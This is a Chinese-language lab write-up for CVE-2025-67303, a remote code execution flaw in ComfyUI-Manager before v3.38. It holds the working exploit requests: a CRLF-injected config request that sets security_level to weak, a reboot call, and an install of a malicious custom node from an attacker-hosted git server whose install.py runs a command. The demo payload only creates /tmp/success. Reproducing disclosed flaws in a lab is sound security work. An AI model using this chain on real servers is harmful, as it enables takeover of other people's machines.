# ComfyUI-Manager远程代码执行漏洞（CVE-2025-67303）

ComfyUI是一款基于节点式工作流的Stable Diffusion专业图形界面，是开源AI绘画领域的核心项目之一。ComfyUI-Manager是ComfyUI的官方扩展管理器，负责管理自定义节点、模型和更新的安装。

在v3.38版本之前，ComfyUI-Manager的数据与配置目录未受Web API访问控制的充分保护。攻击者可以利用`/api/manager/db_mode`接口注入任意配置参数，包括将`security_level`设置为`weak`以禁用安全限制。结合`/api/manager/reboot`接口重启服务和`/customnode/install/git_url`接口安装恶意自定义节点，攻击者可以在服务器上实现远程代码执行。该漏洞已在ComfyUI-Manager v3.38版本中通过引入"系统用户保护API"得到修复，所有配置数据被迁移至受保护的目录下。

参考链接：

- <https://mp.weixin.qq.com/s/I1_2E9OyxySwWy0KqQdJXg>

## 环境搭建

执行如下命令启动ComfyUI-Manager 3.37漏洞环境：

```
docker compose up -d
```

服务启动后，访问`http://your-ip:8188`即可看到ComfyUI的界面。

## 漏洞复现

默认情况下，`/customnode/install/git_url`接口受安全限制保护。直接尝试安装自定义节点会返回403 Forbidden响应：

![](1.png)

为了绕过这个限制，向`/api/manager/db_mode`接口发送请求，将`security_level = weak`配置注入到`config.ini`文件中。Payload中的`%0D`是回车符，用于在配置文件中注入新行：

```
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak HTTP/1.1
Host: your-ip:8188
```

![](2.png)

接着，向`/api/manager/reboot`接口发送请求来重启ComfyUI服务，使新配置生效。服务器重启后（等待几秒钟让服务完全启动），在宿主机上运行[evil-git-server.py](evil-git-server.py)脚本，启动一个本地Git HTTP服务器来托管恶意自定义节点：

```bash
python evil-git-server.py
```

脚本会输出带有随机后缀的恶意仓库URL（例如`http://your-ip:9999/evil-node-abc123`）。向`/customnode/install/git_url`接口发送POST请求，从本地Git服务器安装恶意自定义节点。将`your-ip`替换为Docker容器可访问的宿主机IP地址，并使用PoC脚本输出的仓库URL：

```
POST /customnode/install/git_url HTTP/1.1
Host: your-ip:8188
Content-Type: text/plain

http://your-ip:9999/evil-node-abc123
```

![](3.png)

恶意Git服务器会收到来自ComfyUI服务器的多个请求，用于克隆恶意仓库：

![](4.png)

恶意代码会在安装过程中立即执行。可以通过检查容器内是否存在`/tmp/success`文件来验证命令已被执行：

```bash
docker compose exec web ls -al /tmp/
```

![](5.png)

恶意自定义节点的`install.py`文件包含以下代码，这些代码会在安装过程中被执行：

```python
import subprocess
subprocess.run(["touch", "/tmp/success"])
```

在实际攻击场景中，攻击者会将恶意自定义节点托管在公开的Git仓库中，利用此漏洞链在无需用户交互的情况下远程安装恶意节点。
